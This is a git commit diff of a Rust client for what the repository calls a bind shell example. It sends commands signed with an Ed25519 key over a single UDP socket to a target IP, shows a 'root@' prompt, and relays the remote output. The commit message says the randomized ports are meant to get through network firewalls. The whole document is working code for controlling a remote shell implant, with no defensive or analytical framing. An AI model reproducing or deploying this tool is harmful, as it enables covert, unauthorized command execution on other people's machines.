refactor: redid the bindshell example
Made it use a single UDP client as well as proper randomized ports to go through network firewalls, requiring stdin, status, stderr, and stdout all go over a single UDP socket Updated the client to have a prompt
This commit is contained in:
@@ -1,63 +1,133 @@
|
||||
use std::{io::prelude::*, net::UdpSocket, thread};
|
||||
use std::{io::prelude::*, net::UdpSocket, thread, sync::{Arc, Mutex, Condvar}};
|
||||
|
||||
use anyhow::{anyhow, Context};
|
||||
use ed25519_dalek::{Keypair, Signer};
|
||||
|
||||
use ex_bind_shell_key_generator::{PRIVKEY, PUBKEY};
|
||||
|
||||
enum Msg<'a> {
|
||||
Ready(u8),
|
||||
Stdout(&'a [u8]),
|
||||
Stderr(&'a [u8]),
|
||||
}
|
||||
|
||||
impl Msg<'_> {
|
||||
fn parse<'a>(bytes: &'a [u8]) -> Option<Msg<'a>> {
|
||||
match bytes[0] {
|
||||
0 => Some(Msg::Ready(bytes[1])),
|
||||
1 => Some(Msg::Stdout(&bytes[1..])),
|
||||
2 => Some(Msg::Stderr(&bytes[1..])),
|
||||
_ => None
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
fn main() -> anyhow::Result<()> {
|
||||
let privkey = Keypair::from_bytes(&[PRIVKEY, PUBKEY].concat())
|
||||
.context("could not parse generated private key")?;
|
||||
|
||||
let mut stdout = std::io::stdout();
|
||||
let stdout_inuse = Arc::new((Mutex::new(false), Condvar::new()));
|
||||
let stdout_arc = Arc::new(Mutex::new(std::io::stdout()));
|
||||
let mut stderr = std::io::stderr();
|
||||
let stdin = std::io::stdin();
|
||||
|
||||
let mut args = std::env::args();
|
||||
args.next();
|
||||
let target = args.next().ok_or(anyhow!("Please specify a target IP"))?;
|
||||
let target = std::env::args()
|
||||
.skip(1)
|
||||
.next()
|
||||
.ok_or(anyhow!("Please specify a target IP"))?;
|
||||
|
||||
let remote_stdin = UdpSocket::bind("0.0.0.0:0")?;
|
||||
let remote_stdout = UdpSocket::bind("0.0.0.0:54248")?;
|
||||
let remote_stderr = UdpSocket::bind("0.0.0.0:54249")?;
|
||||
let remote = UdpSocket::bind("0.0.0.0:0")?;
|
||||
let remote_listen = remote.try_clone()?;
|
||||
|
||||
let out_thread = thread::spawn(move || {
|
||||
let mut buffer = [0u8; 1024];
|
||||
let out_thread = {
|
||||
let stdout_inuse = Arc::clone(&stdout_inuse);
|
||||
let stdout_arc = Arc::clone(&stdout_arc);
|
||||
|
||||
loop {
|
||||
let Ok(amount) = remote_stdout.recv(&mut buffer[..]) else { continue; };
|
||||
let Ok(_) = stdout.write(&mut buffer[..amount]) else { continue; };
|
||||
}
|
||||
});
|
||||
thread::spawn(move || {
|
||||
let mut buffer = [0u8; 1536];
|
||||
|
||||
let err_thread = thread::spawn(move || {
|
||||
let mut buffer = [0u8; 1024];
|
||||
loop {
|
||||
let Ok(amount) = remote_listen.recv(&mut buffer[..]) else { continue; };
|
||||
let Some(msg) = Msg::parse(&buffer[..amount]) else { continue; };
|
||||
|
||||
loop {
|
||||
let Ok(amount) = remote_stderr.recv(&mut buffer[..]) else { continue; };
|
||||
let Ok(_) = stderr.write(&mut buffer[..amount]) else { continue; };
|
||||
}
|
||||
});
|
||||
match msg {
|
||||
Msg::Ready(_) => {
|
||||
let (lock, cvar) = &*stdout_inuse;
|
||||
let Ok(mut inuse) = lock.lock() else {
|
||||
eprintln!("Could not get lock on message handle!");
|
||||
return;
|
||||
};
|
||||
*inuse = false;
|
||||
cvar.notify_one();
|
||||
},
|
||||
Msg::Stderr(err) => {
|
||||
let _ = stderr.write(err);
|
||||
},
|
||||
Msg::Stdout(out) => {
|
||||
let Ok(mut stdout) = stdout_arc.lock() else { continue; };
|
||||
let _ = stdout.write(out);
|
||||
}
|
||||
}
|
||||
}
|
||||
})
|
||||
};
|
||||
|
||||
// sending a single command helps out with buffers, I guess
|
||||
// first message is always dropped
|
||||
remote.send_to(b"ls /", &target)?;
|
||||
|
||||
let mut cwd = "/".to_owned();
|
||||
|
||||
loop {
|
||||
let mut cmd = String::new();
|
||||
let Ok(_) = stdin.read_line(&mut cmd) else { continue; };
|
||||
let cmd = cmd.trim();
|
||||
{
|
||||
let (lock, cvar) = &*stdout_inuse;
|
||||
let Ok(mut inuse) = lock.lock() else {
|
||||
eprintln!("Could not get lock on message handle!");
|
||||
break;
|
||||
};
|
||||
|
||||
if cmd == "exit" {
|
||||
break;
|
||||
while *inuse {
|
||||
inuse = cvar.wait(inuse).unwrap();
|
||||
}
|
||||
}
|
||||
|
||||
{
|
||||
let Ok(mut stdout) = stdout_arc.lock() else { continue; };
|
||||
let Ok(_) = write!(&*stdout, "root@{}:{} # ", &target, &cwd) else { continue; };
|
||||
let _ = stdout.flush();
|
||||
}
|
||||
|
||||
let mut cmd = String::new();
|
||||
let Ok(amount) = stdin.read_line(&mut cmd) else { continue; };
|
||||
let mut cmd = cmd.trim();
|
||||
|
||||
if amount == 0 {
|
||||
cmd = "exit";
|
||||
}
|
||||
|
||||
let signature = privkey.sign(cmd.as_bytes()).to_bytes();
|
||||
let msg = &[&signature, cmd.as_bytes()].concat();
|
||||
|
||||
let Ok(_) = remote_stdin.send_to(msg, &target) else {
|
||||
let Ok(_) = remote.send_to(msg, &target) else {
|
||||
continue;
|
||||
};
|
||||
|
||||
match cmd.split(" ").collect::<Vec<_>>()[..] {
|
||||
["exit"] => { break },
|
||||
["cd", dir] => { cwd = dir.to_owned(); },
|
||||
_ => {
|
||||
let (lock, _) = &*stdout_inuse;
|
||||
let Ok(mut inuse) = lock.lock() else {
|
||||
eprintln!("Could not get lock on message handle!");
|
||||
break;
|
||||
};
|
||||
|
||||
*inuse = true;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
drop(out_thread);
|
||||
drop(err_thread);
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
Reference in New Issue
Block a user